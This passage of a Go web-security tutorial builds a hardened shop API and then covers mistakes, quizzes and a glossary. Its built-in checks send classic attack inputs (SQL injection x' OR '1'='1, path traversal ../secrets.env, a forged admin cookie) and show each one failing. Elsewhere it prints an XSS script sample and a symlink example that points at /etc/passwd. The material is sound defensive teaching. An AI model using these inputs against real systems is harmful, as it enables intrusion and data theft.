  • Headers: http.Server.MaxHeaderBytes; when it's 0, net/http uses DefaultMaxHeaderBytes = 1 << 20 (1 MB).
  • Time: ReadHeaderTimeout, ReadTimeout, WriteTimeout, IdleTimeout on http.Server (episode 62), so slow clients can't hold connections forever.

govulncheck

Your code can be perfect while a module you depend on has a known security bug, a vulnerability. govulncheck "reports known vulnerabilities that affect Go code", using the Go vulnerability database at https://vuln.go.dev. It uses static analysis (reading your code without running it) to report only vulnerabilities in functions your code can actually reach.

go install golang.org/x/vuln/cmd/govulncheck@latest
govulncheck ./...

Sample output, from the Go govulncheck tutorial (not from this run: the sandbox can't reach vuln.go.dev):

Your code is affected by 1 vulnerability from 1 module.

Vulnerability #1: GO-2021-0113
  Module: golang.org/x/text
    Found in: golang.org/x/text@v0.3.5
    Fixed in: golang.org/x/text@v0.3.7
  Call stacks in your code: ...

The fix is usually go get module@fixed-version then go mod tidy. Run govulncheck in CI (continuous integration: the automatic build and test that runs on every change) so a new vulnerability fails the build.

Mini project: lock down Raju's API

Build, in one program: sign-up and login with Argon2id and an 8-72 byte password rule; a crypto/rand session cookie with HttpOnly, Secure, SameSite=Lax; logout that deletes the session on the server; an admin-only route; a customer search with placeholders; menus served through os.Root; security headers; and checks that print one line per attack.

Full solution

main.go:

package main

import (
    "crypto/rand"
    "crypto/subtle"
    "database/sql"
    "errors"
    "fmt"
    "io"
    "net/http"
    "net/http/httptest"
    "net/url"
    "os"
    "strings"
    "sync"

    _ "github.com/mattn/go-sqlite3"
    "golang.org/x/crypto/argon2"
)

const t, m, p = 2, 19 * 1024, 1 // OWASP minimum for Argon2id

type session struct{ user, role string }

type App struct {
    db       *sql.DB
    menus    *os.Root
    mu       sync.Mutex
    sessions map[string]session // token -> who
}

func hashPassword(pw string) (salt, key []byte) {
    salt = make([]byte, 16)
    rand.Read(salt)
    return salt, argon2.IDKey([]byte(pw), salt, t, m, p, 32)
}

func (a *App) createUser(name, pw, role string) error {
    if len(pw) < 8 || len(pw) > 72 {
        return errors.New("password must be 8 to 72 bytes")
    }
    salt, key := hashPassword(pw)
    _, err := a.db.Exec("INSERT INTO users (name, salt, key, role) VALUES (?, ?, ?, ?)", name, salt, key, role)
    return err
}

func (a *App) signup(w http.ResponseWriter, r *http.Request) {
    r.Body = http.MaxBytesReader(w, r.Body, 1<<10) // a form is tiny: 1 KB is plenty
    if err := a.createUser(r.FormValue("name"), r.FormValue("password"), "staff"); err != nil {
        http.Error(w, err.Error(), http.StatusBadRequest)
        return
    }
    w.WriteHeader(http.StatusCreated)
}

func (a *App) login(w http.ResponseWriter, r *http.Request) {
    r.Body = http.MaxBytesReader(w, r.Body, 1<<10)
    var salt, key []byte
    var role string
    err := a.db.QueryRow("SELECT salt, key, role FROM users WHERE name = ?", r.FormValue("name")).Scan(&salt, &key, &role)
    pw := r.FormValue("password")
    if err != nil || len(pw) > 72 ||
        subtle.ConstantTimeCompare(argon2.IDKey([]byte(pw), salt, t, m, p, 32), key) != 1 {
        http.Error(w, "wrong name or password", http.StatusUnauthorized) // same message for both
        return
    }
    token := rand.Text()
    a.mu.Lock()
    a.sessions[token] = session{r.FormValue("name"), role}
    a.mu.Unlock()
    http.SetCookie(w, &http.Cookie{Name: "session", Value: token, Path: "/", MaxAge: 3600,
        HttpOnly: true, Secure: true, SameSite: http.SameSiteLaxMode})
}

func (a *App) current(r *http.Request) (session, bool) {
    c, err := r.Cookie("session")
    if err != nil {
        return session{}, false
    }
    a.mu.Lock()
    defer a.mu.Unlock()
    s, ok := a.sessions[c.Value]
    return s, ok
}

func (a *App) logout(w http.ResponseWriter, r *http.Request) {
    if c, err := r.Cookie("session"); err == nil {
        a.mu.Lock()
        delete(a.sessions, c.Value) // the token is dead on the server
        a.mu.Unlock()
    }
    http.SetCookie(w, &http.Cookie{Name: "session", Value: "", Path: "/", MaxAge: -1})
}

func (a *App) adminOnly(next http.HandlerFunc) http.HandlerFunc {
    return func(w http.ResponseWriter, r *http.Request) {
        if s, ok := a.current(r); !ok || s.role != "admin" {
            http.Error(w, "forbidden", http.StatusForbidden)
            return
        }
        next(w, r)
    }
}

func (a *App) search(w http.ResponseWriter, r *http.Request) {
    rows, err := a.db.Query("SELECT name, phone FROM customers WHERE name = ?", r.URL.Query().Get("name"))
    if err != nil {
        http.Error(w, "server error", http.StatusInternalServerError)
        return
    }
    defer rows.Close()
    n := 0
    for rows.Next() {
        var name, phone string
        rows.Scan(&name, &phone)
        fmt.Fprintln(w, name, phone)
        n++
    }
    fmt.Fprintf(w, "%d row(s)", n)
}

func (a *App) menu(w http.ResponseWriter, r *http.Request) {
    f, err := a.menus.Open(r.URL.Query().Get("file")) // os.Root: can't leave the menus folder
    if err != nil {
        http.Error(w, "no such menu", http.StatusNotFound)
        return
    }
    defer f.Close()
    io.Copy(w, f)
}

func secureHeaders(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        w.Header().Set("Strict-Transport-Security", "max-age=31536000")
        w.Header().Set("X-Content-Type-Options", "nosniff")
        w.Header().Set("Content-Security-Policy", "default-src 'self'")
        w.Header().Set("X-Frame-Options", "DENY")
        next.ServeHTTP(w, r)
    })
}

func main() {
    os.MkdirAll("shop/menus", 0o755)
    os.WriteFile("shop/menus/today.txt", []byte("chai ₹20, samosa ₹15"), 0o644)
    os.WriteFile("shop/secrets.env", []byte("DB_PASSWORD=raju@123"), 0o600)
    db, _ := sql.Open("sqlite3", "shop.db")
    defer db.Close()
    db.Exec(`CREATE TABLE users (name TEXT PRIMARY KEY, salt BLOB, key BLOB, role TEXT);
             CREATE TABLE customers (name TEXT, phone TEXT);
             INSERT INTO customers VALUES ('asha','98100 11111'), ('ravi','98100 22222');`)
    root, err := os.OpenRoot("shop/menus")
    if err != nil {
        panic(err)
    }
    app := &App{db: db, menus: root, sessions: map[string]session{}}
    app.createUser("raju", "owner-pass-2026", "admin")

    mux := http.NewServeMux()
    mux.HandleFunc("POST /signup", app.signup)
    mux.HandleFunc("POST /login", app.login)
    mux.HandleFunc("POST /logout", app.logout)
    mux.HandleFunc("GET /admin/sales", app.adminOnly(func(w http.ResponseWriter, r *http.Request) {
        fmt.Fprint(w, "today's sales: ₹4,250")
    }))
    mux.HandleFunc("GET /customers", app.search)
    mux.HandleFunc("GET /menus", app.menu)
    h := secureHeaders(mux)

    // do sends one request and returns the status, the body and any new session cookie.
    do := func(method, path, form, cookie string) (int, string, string) {
        req := httptest.NewRequest(method, path, strings.NewReader(form))
        req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
        if cookie != "" {
            req.Header.Set("Cookie", cookie)
        }
        rec := httptest.NewRecorder()
        h.ServeHTTP(rec, req)
        tok := ""
        for _, c := range rec.Result().Cookies() {
            if c.Name == "session" && c.Value != "" {
                tok = "session=" + c.Value
            }
        }
        return rec.Code, strings.ReplaceAll(strings.TrimSpace(rec.Body.String()), "\n", " | "), tok
    }
    show := func(what string, code int, body string) { fmt.Printf("%-38s %d %s\n", what, code, body) }

    code, body, _ := do("POST", "/signup", "name=asha&password=chai-1234", "")
    show("signup asha", code, body)
    code, body, _ = do("POST", "/signup", "name=ravi&password="+strings.Repeat("a", 73), "")
    show("signup with a 73-byte password", code, body)
    code, body, _ = do("POST", "/login", "name=asha&password=chai-9999", "")
    show("login asha, wrong password", code, body)
    code, _, asha := do("POST", "/login", "name=asha&password=chai-1234", "")
    show("login asha, right password", code, "cookie set: "+fmt.Sprint(asha != ""))
    code, body, _ = do("GET", "/admin/sales", "", "user=admin")
    show("attack: Cookie user=admin", code, body)
    code, body, _ = do("GET", "/admin/sales", "", "session=admin")
    show("attack: Cookie session=admin", code, body)
    code, body, _ = do("GET", "/admin/sales", "", asha)
    show("asha (staff) asks for sales", code, body)
    code, _, raju := do("POST", "/login", "name=raju&password=owner-pass-2026", "")
    code, body, _ = do("GET", "/admin/sales", "", raju)
    show("raju (admin) asks for sales", code, body)
    code, body, _ = do("GET", "/customers?name=asha", "", "")
    show("search asha", code, body)
    code, body, _ = do("GET", "/customers?name="+url.QueryEscape("x' OR '1'='1"), "", "")
    show("attack: SQL injection in search", code, body)
    code, body, _ = do("GET", "/menus?file=today.txt", "", "")
    show("menu today.txt", code, body)
    code, body, _ = do("GET", "/menus?file=../secrets.env", "", "")
    show("attack: path traversal ../secrets.env", code, body)
    do("POST", "/logout", "", raju)
    code, body, _ = do("GET", "/admin/sales", "", raju)
    show("raju's old cookie after logout", code, body)
}

go.mod:

module shop

go 1.24

require (
    github.com/mattn/go-sqlite3 v1.14.32
    golang.org/x/crypto v0.48.0
)

Real output:

signup asha                            201 
signup with a 73-byte password         400 password must be 8 to 72 bytes
login asha, wrong password             401 wrong name or password
login asha, right password             200 cookie set: true
attack: Cookie user=admin              403 forbidden
attack: Cookie session=admin           403 forbidden
asha (staff) asks for sales            403 forbidden
raju (admin) asks for sales            200 today's sales: ₹4,250
search asha                            200 asha 98100 11111 | 1 row(s)
attack: SQL injection in search        200 0 row(s)
menu today.txt                         200 chai ₹20, samosa ₹15
attack: path traversal ../secrets.env  404 no such menu
raju's old cookie after logout         403 forbidden

Notes on the design:

  • Login answers the same wrong name or password for an unknown user and a wrong password, so attackers can't use it to find which names exist.
  • Sessions are in a map guarded by a mutex because handlers run concurrently; in production they'd live in the database (or a cache) with an expiry, so they survive restarts and work across several servers.
  • The role comes from the server's session, never from the request.
  • secureHeaders wraps the whole mux, so every answer, even a 404, carries the headers.

Common mistakes (and the real messages)

Mistake What you see Why Fix
sha256(password) cracked asha: "chai123", millions of guesses per second fast, unsalted bcrypt (cost ≥ 10) or Argon2id
same salt for everyone / no salt equal passwords → equal hashes precomputed tables work random salt per password
bcrypt with a 73+ byte password bcrypt: password length exceeds 72 bytes bcrypt's input limit cap length at sign-up
== to compare hashes or keys (no message: timing leak) stops at the first difference subtle.ConstantTimeCompare, hmac.Equal
Cookie: user=admin trusted 200 today's sales: ₹4,250 cookies are user input random session token, server-side table
session cookie without flags readable by scripts, sent cross-site, over HTTP defaults are permissive HttpOnly, Secure, SameSite, Max-Age
math/rand for tokens attacker predicts every token seeded formula crypto/rand (rand.Text, rand.Read)
trusting a JWT without verifying role admin accepted anyone can write a payload verify signature, algorithm, exp
secrets inside a JWT payload anyone can read them base64url is not encryption keep secrets on the server
fmt.Sprintf into SQL x' OR '1'='1 → every row data became SQL placeholders ? / $1
text/template for HTML <script> runs in visitors' browsers no escaping html/template
filepath.Join(dir, userName) ../secrets.env read path traversal os.OpenRoot(dir) + root.Open
allowing TLS 1.0/1.1 old weak protocols accepted old clients negotiate down MinVersion: tls.VersionTLS12
no body limit huge bodies eat memory unlimited reads http.MaxBytesReader

Practice

  1. Why does adding a salt to SHA-256 still not make it acceptable for passwords?
  2. Your users' bcrypt hashes were made at cost 10 years ago; servers are faster now. How do you move everyone to cost 12 without asking them to reset passwords?
  3. A teammate says "we use text/template but escape the review with a helper". Which standard helper would that be, and why is html/template still better?
  4. Why must logout delete the session on the server, not just the cookie?
  5. A JWT has "exp" set and a valid signature, but the user just logged out. Is the token still accepted? What can you do?
Solutions

1. The salt only stops equal passwords from having equal hashes and kills precomputed tables. Each guess is still one fast SHA-256, millions per second per core. Real run (different salts → different hashes, but each is as fast as before):

package main

import (
    "crypto/sha256"
    "fmt"
)

func main() {
    // a salt alone is not enough: SHA-256 with a salt is still fast to guess
    salt := "x9Qp"
    fmt.Printf("%x\n", sha256.Sum256([]byte(salt+"chai123")))
    fmt.Printf("%x\n", sha256.Sum256([]byte("Zr2b"+"chai123")))
}
0ecd79a436a51d3a6f1c7bedef6a33bd5322d3066981cecdf1678327bc26834d
ac27826aa75adb7de948b373b2a1e3002225b551c6c9a07fe1182bef59c0a360

2. Re-hash at login, the only moment you know the password. bcrypt.Cost reads the cost from the stored hash:

main.go:

package main

import (
    "fmt"

    "golang.org/x/crypto/bcrypt"
)

const want = 12 // today's cost

// checkAndUpgrade logs the user in and, if their hash is older/cheaper, re-hashes it at the new cost.
func checkAndUpgrade(stored []byte, pw string) ([]byte, error) {
    if err := bcrypt.CompareHashAndPassword(stored, []byte(pw)); err != nil {
        return stored, err
    }
    if cost, _ := bcrypt.Cost(stored); cost < want {
        return bcrypt.GenerateFromPassword([]byte(pw), want) // we know the password only now
    }
    return stored, nil
}

func main() {
    old, _ := bcrypt.GenerateFromPassword([]byte("chai123"), 10) // stored years ago
    c, _ := bcrypt.Cost(old)
    fmt.Println("stored cost:", c)
    upgraded, err := checkAndUpgrade(old, "chai123")
    c, _ = bcrypt.Cost(upgraded)
    fmt.Println("after login:", c, err)
}

go.mod:

module shop

go 1.24

require golang.org/x/crypto v0.48.0
stored cost: 10
after login: 12 <nil>

Save upgraded back to the database when it changed.

3. html/template.HTMLEscapeString (or template.HTMLEscaper):

package main

import (
    "fmt"
    "html/template"
)

func main() {
    review := `<b>Great</b> chai <script>alert(1)</script>`
    fmt.Println(template.HTMLEscapeString(review))
}
&lt;b&gt;Great&lt;/b&gt; chai &lt;script&gt;alert(1)&lt;/script&gt;

But it only knows HTML-text escaping. In an href the danger is a javascript: URL, which contains no < at all; html/template understands the context and blocked it as #ZgotmplZ. And a helper is easy to forget once; html/template escapes every value automatically.

4. The cookie is only a copy of the token. If someone copied it (a shared computer, a leaked log), it would keep working until the server forgets the token. In the mini project, raju's old cookie after logout gets 403.

5. Yes: a stateless JWT is accepted until exp, because the server keeps no record of it. Keep exp short (minutes), use a refresh step that checks a server-side session, or keep a deny-list of revoked token IDs (which brings back some server-side state).

Quick quiz

1. The name comes from a search box. Which line is safe? (From the video.)

A: db.Query("SELECT * FROM customers WHERE name = '" + name + "'")
B: db.Query(fmt.Sprintf("SELECT * FROM customers WHERE name = %q", name))
C: db.Query("SELECT * FROM customers WHERE name = ?", name)
D: db.Query("SELECT * FROM customers WHERE name = '" + strings.TrimSpace(name) + "'")
Answer

C. Only C sends the value separately as a placeholder argument. A, B and D all glue user text into the SQL; quoting or trimming doesn't stop injection.

2. Two users choose the same password and you store bcrypt.GenerateFromPassword(pw, 12) for both. Are the stored strings equal?

Answer

No. Each call makes a new random salt, so the strings differ (see the bcrypt run: asha's and ravi's hashes for chai123 are different). CompareHashAndPassword still works because the salt is inside the string.

3. Which cookie attribute stops page JavaScript from reading the session cookie?

Answer

HttpOnly. (Secure = HTTPS only; SameSite = not sent on most cross-site requests.)

4. What does os.Root.Open("../secrets.env") return?

Answer

An error: openat ../secrets.env: path escapes from parent.

Interview questions

  1. How should passwords be stored? As a salted, deliberately slow hash: Argon2id (OWASP minimum m=19 MiB, t=2, p=1) or bcrypt (cost ≥ 10). Never plain text or a fast hash like SHA-256.
  2. What is a salt, and is it secret? Random bytes per password, stored with the hash. Not secret: its job is to make equal passwords hash differently and to defeat precomputed tables.
  3. Why bcrypt's 72-byte limit matters? bcrypt only uses 72 bytes; x/crypto refuses longer input (bcrypt: password length exceeds 72 bytes), so cap length at sign-up (or use Argon2id).
  4. Sessions vs JWTs? Sessions: random token, state on the server, instant logout. JWT: signed claims, stateless verification, but valid until exp; keep it short-lived.
  5. What do HttpOnly, Secure and SameSite do? Hide the cookie from JavaScript; send it only over HTTPS; don't send it on most cross-site requests (CSRF protection).
  6. Why crypto/rand and not math/rand for tokens? math/rand is a seeded formula; knowing the seed predicts the outputs. crypto/rand uses the OS's secure source.
  7. How do you prevent SQL injection in Go? Placeholders with database/sql (? or $1); never build SQL with user strings; whitelist identifiers.
  8. How does html/template prevent XSS? Contextual auto-escaping of every value: HTML text, attributes, URLs (blocking javascript: as #ZgotmplZ), JS and CSS.
  9. How do you serve user-named files safely? os.OpenRoot(dir) (Go 1.24) and root.Open(name); names escaping the directory fail.
  10. What does govulncheck do differently from a plain dependency scanner? It uses static analysis and reports only vulnerabilities in code your program can reach, from the Go vulnerability database.

Glossary

Term Meaning Example
Plain text (password) stored exactly as typed asha: chai123
Leak data copied out by someone who shouldn't have it a backup on a shared drive
Hash function turns any input into a fixed-size fingerprint; can't be reversed sha256.Sum256([]byte("chai123"))
SHA-256 a fast, widely used hash with 256-bit output 38e5d047a17125c3...
Dictionary attack trying a list of likely passwords "123456", "password", "chai123"
Salt random bytes per password, stored with the hash 16 bytes from crypto/rand
Pepper an extra secret kept outside the database, added to every hash a key in a secrets manager
Slow hash deliberately expensive to compute bcrypt, Argon2id
Cost / work factor setting that controls how slow a hash is bcrypt cost 12
bcrypt adaptive password hash with a built-in salt; 72-byte input limit $2a$12$...
Argon2id memory-hard password hash, Password Hashing Competition winner argon2.IDKey(pw, salt, 2, 19*1024, 1, 32)
Memory-hard each guess needs a lot of memory 19 MiB per Argon2id hash
KiB / MiB kibibyte (1024 bytes) / mebibyte (1024 KiB) m=19456 KiB = 19 MiB
OWASP a security community whose cheat sheets give security guidance Password Storage Cheat Sheet
golang.org/x/crypto Go's extended crypto modules (bcrypt, argon2, ...) require golang.org/x/crypto v0.48.0
Constant-time comparison takes the same time wherever the inputs differ subtle.ConstantTimeCompare(a, b) == 1
Timing attack learning secrets by measuring how long checks take byte-by-byte comparison
Login checking a password once POST /login
Cookie small name=value the browser stores and sends back Set-Cookie: session=...
Session the server's memory of a logged-in user sessions[token] = "asha"
Session token long random value in the cookie that names a session rand.Text()
HttpOnly cookie can't be read by page JavaScript HttpOnly: true
Secure cookie only sent over HTTPS Secure: true
SameSite controls sending the cookie on cross-site requests SameSite=Lax
Max-Age cookie lifetime in seconds; negative deletes it MaxAge: 3600
CSRF cross-site request forgery: another site makes your browser send a request with your cookie a hidden form posting to /orders/cancel
PRNG pseudo-random number generator: a formula from a seed math/rand/v2
Seed the starting number of a PRNG rand.NewPCG(2026, 11)
CSPRNG cryptographically secure random generator crypto/rand
math/rand vs crypto/rand predictable (games) vs unpredictable (secrets) tokens → crypto/rand
JWT JSON Web Token: signed claims, header.payload.signature eyJhbGciOi...
Claim a fact inside a JWT "role": "staff"
sub subject claim: who the token is about "sub": "asha"
exp expiry claim, Unix seconds time.Now().Add(15*time.Minute).Unix()
base64url base64 with - _, no padding: URL-safe encoding, not encryption base64.RawURLEncoding
HMAC keyed hash proving who made a message hmac.New(sha256.New, secret)
HS256 HMAC with SHA-256, a JWT signing algorithm {"alg":"HS256"}
Signature proof the data was made by the key holder and not changed third part of a JWT
Stateless the server keeps no per-user record to check it JWT verification
API key long random secret identifying a calling program Authorization: Bearer rk_...
Rotation replacing a key with a new one after a leak
OAuth 2.0 standard for delegated access without sharing passwords "sign in with an existing account"
Access token what an OAuth client gets to call the other service used in Authorization
golang.org/x/oauth2 Go client implementation of OAuth 2.0
SQL language for querying databases SELECT name FROM customers
SQL injection user text becoming part of SQL x' OR '1'='1
Placeholder marker for a value sent separately from the SQL ?, $1
XSS cross-site scripting: attacker code running in visitors' browsers on your site <script> in a review
Escaping replacing special characters with safe codes < → &lt;
Contextual escaping escaping that depends on where the value goes html/template
ZgotmplZ html/template's marker for a blocked unsafe value href="#ZgotmplZ"
Path traversal using .. to leave the intended folder ../secrets.env
os.Root handle that only opens files inside one directory (Go 1.24) os.OpenRoot("shop/menus")
Symbolic link a file that points to another path ln -s /etc/passwd menu.txt
TLS Transport Layer Security: encrypted, authenticated connections TLS 1.3
HTTPS HTTP over TLS https://...
Certificate signed digital ID proving a server's identity httptest.NewTLSServer's test cert
Handshake TLS's opening exchange agreeing on version and keys TLS handshake error ...
MinVersion lowest TLS version accepted tls.VersionTLS12
HSTS Strict-Transport-Security: browser uses only HTTPS max-age=31536000
nosniff X-Content-Type-Options: don't guess content types
CSP Content-Security-Policy: where scripts and resources may load from default-src 'self'
X-Frame-Options whether other sites may frame this page DENY
Clickjacking tricking clicks on an invisible framed page blocked by X-Frame-Options
MaxBytesReader caps a request body's size http.MaxBytesReader(w, r.Body, 1<<10)
MaxHeaderBytes caps request header size (default 1 MB) http.Server{MaxHeaderBytes: ...}
Vulnerability a known security bug GO-2021-0113
govulncheck Go's tool that reports reachable known vulnerabilities govulncheck ./...
Static analysis examining code without running it govulncheck's call-graph check
CI continuous integration: automatic build/test on every change run govulncheck in CI

Summary

  • Passwords: salted, slow hashes only, Argon2id (m=19 MiB, t=2, p=1+) or bcrypt (cost ≥ 10, ≤ 72 bytes). SHA-256 was cracked at millions of guesses a second.
  • Never trust a cookie's content: use a random session token from crypto/rand, kept on the server, with HttpOnly, Secure, SameSite, Max-Age; delete the session at logout.
  • math/rand is predictable from its seed; secrets come from crypto/rand.
  • JWTs are readable by anyone; trust them only after checking the signature, the algorithm and exp; keep them short-lived.
  • API keys: store the hash, compare in constant time, rotate. OAuth 2.0: delegated access without passwords.
  • Placeholders stop SQL injection, html/template stops XSS, os.Root stops path traversal.
  • TLS 1.2+, security headers, size limits and govulncheck in CI close the rest.

Next episode: Databases with database/sql: drivers and blank imports, sql.Open vs Ping, sql.DB as a connection pool, Query, QueryRow, Exec, Scan, rows.Close and rows.Err, placeholders, sql.ErrNoRows, sql.NullString and sql.Null[T], and pool settings.